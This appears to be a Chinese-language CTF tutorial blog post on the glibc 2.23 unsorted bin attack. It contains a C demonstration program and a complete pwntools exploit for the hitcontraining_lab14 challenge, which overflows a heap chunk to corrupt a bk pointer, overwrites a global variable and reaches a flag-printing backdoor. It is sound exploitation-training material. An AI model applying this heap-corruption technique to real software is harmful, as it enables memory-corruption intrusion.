unsortedbin attack

unsortedbin

当一个较大的chunk被分割成两部分后,如果剩下的部分大于MINSIZE,则会被放进Unsorted bin中
释放一个不属于fast bin的chunk,并且该chunk不与top chunk相邻,该 chunk会被首先放到Unsorted bin中
当进行块合并时,如果合并后的chunk不与top chunk相邻,则可能会把合并后的chunk放到Unsorted bin中

Unsorted Bin在使用过程中,采用的遍历顺序是FIFO(先进先出),即挂进链表的时候依次从Unsorted bin的头部向尾部挂,取的时候是从尾部向头部取
在程序malloc时,如果fast bin、small bin中找不到对应大小的chunk,就会尝试从Unsorted bin中寻找chunk。如果取出来的chunk的size刚好满足,则直接交给用户,否则就会把这些chunk分别插入到对应的bin中

看一下libc-2.23.so的unsortedbin中比较重要的摘除代码吧。

unsorted_chunk的bk指向它后一个被释放的chunk的地址,后一个被释放的chunk的fd指向unsorted_chunk。如果可以将bck控制,我们就可以控制unsorted_chunk到任意地址。

例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//gcc -g z1r0.c -o z1r0
#include <stdio.h>
#include <stdlib.h>

int main(){

unsigned long stack_var=0;
fprintf(stderr, "我们准备把这个地方 %p 的值 %ld 更改为一个很大的数\n\n", &stack_var, stack_var);

unsigned long *p=malloc(0x410);
fprintf(stderr, "一开始先申请一个比较正常的 chunk: %p\n",p);
fprintf(stderr, "再分配一个避免与 top chunk 合并\n\n");
malloc(500);

free(p);
fprintf(stderr, "当我们释放掉第一个 chunk 之后他会被放到 unsorted bin 中,同时它的 bk 指针为 %p\n",(void*)p[1]);

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "现在假设有个漏洞,可以让我们修改 free 了的 chunk 的 bk 指针\n");
fprintf(stderr, "我们把目标地址(想要改为超大值的那个地方)减去 0x10 写到 bk 指针:%p\n\n",(void*)p[1]);

malloc(0x410);
fprintf(stderr, "再去 malloc 的时候可以发现那里的值已经改变为 unsorted bin 的地址\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

定义了一个unsigned long的stack_var并赋值为0,再创建了一个unsigned long的指针类型的p,并进行malloc(0x410),接着再次malloc(500),释放指针p,修改p的bk为&stack_var-2,接着malloc(0x410)。

在第15行下个断点。

target_var的地址就是上面红色框,下面红色框是它的值,接下来n一下可以看到执行了free(p)之后,p进入了unstortedbin

接着在第19行下个断点,可以看到bk已经变成了红色框内,可以看到指向的是tar_var的地址-0x10

接下来继续n,执行完成malloc。

这里可以看到tar_var的值变成了0x7ffff7dd1b78

这里有点懞,做个题理解一下吧。

hitcontraining_lab14

查看保护

分析函数

一个一个看吧,先看creat_heap

creat_heap

这个功能没什么特别的很常规,只能9次,输入size之后创建堆,再写入content,直接上自动化函数吧。

1
2
3
4
def creat(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Size of Heap : ', str(size))
r.sendafter('Content of heap:', content)

edit_heap

这个功能有一个漏洞,在read_input这里,因为creat的时候创建了堆的大小,但是在这里没有进行size验证。其他功能正常

1
2
3
4
5
def edit(index, size, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Index :', str(index))
r.sendlineafter('Size of Heap : ', str(size))
r.sendafter('Content of heap : ', content)

delete_heap

没有UAF,指针被清0。

1
2
3
def delete(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index :', str(index))

v3==4869

当v3=4869时会调用这个if,当magic大于0x1305的时候,会调用l33t()这个函数。结果一看就是get flag函数

编写exp

因为有后门函数,所以思路是通过unstortedbin attack将magic赋值超过0x1305就可以直接调用l33t()了。

先创建几个堆看看结构。

其实可以通过chunk_0对chunk_1进行溢出修改

1
2
3
creat(0x10, 'aaaa')			#0
creat(0x80, 'bbbb') #1
creat(0x20, 'cccc') #2

创建2就是因为防止释放1之后与top合并

接下来将1挂进unstorted

1
delete(1)

通过写0溢出到1的bk将,bk改为magic的地址-0x10

1
2
p1 = p64(0) * 3 + p64(0x91) + p64(0) + p64(0x6020c0 - 0x10)
edit(0, len(p1), p1)

接下来就是重启chunk_1,就可以看到magic已经被改,这个值肯定比0x1305大

1
creat(0x80, 'aaaa')

所以直接v3=4869

1
r.sendline('4869')

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

file_name = './z1r0'

debug = 0
if debug:
r = remote()
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.23/libc-2.23.so')

menu = 'Your choice :'

def dbg():
gdb.attach(r)

def creat(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Size of Heap : ', str(size))
r.sendafter('Content of heap:', content)

def edit(index, size, content):
r.sendlineafter(menu, '2')
r.sendlineafter('Index :', str(index))
r.sendlineafter('Size of Heap : ', str(size))
r.sendafter('Content of heap : ', content)

def delete(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Index :', str(index))

creat(0x10, 'aaaa') #0
creat(0x80, 'bbbb') #1
creat(0x20, 'cccc') #2

delete(1)
p1 = p64(0) * 3 + p64(0x91) + p64(0) + p64(0x6020c0 - 0x10)
edit(0, len(p1), p1)

creat(0x80, 'aaaa')

r.sendline('4869')

r.interactive()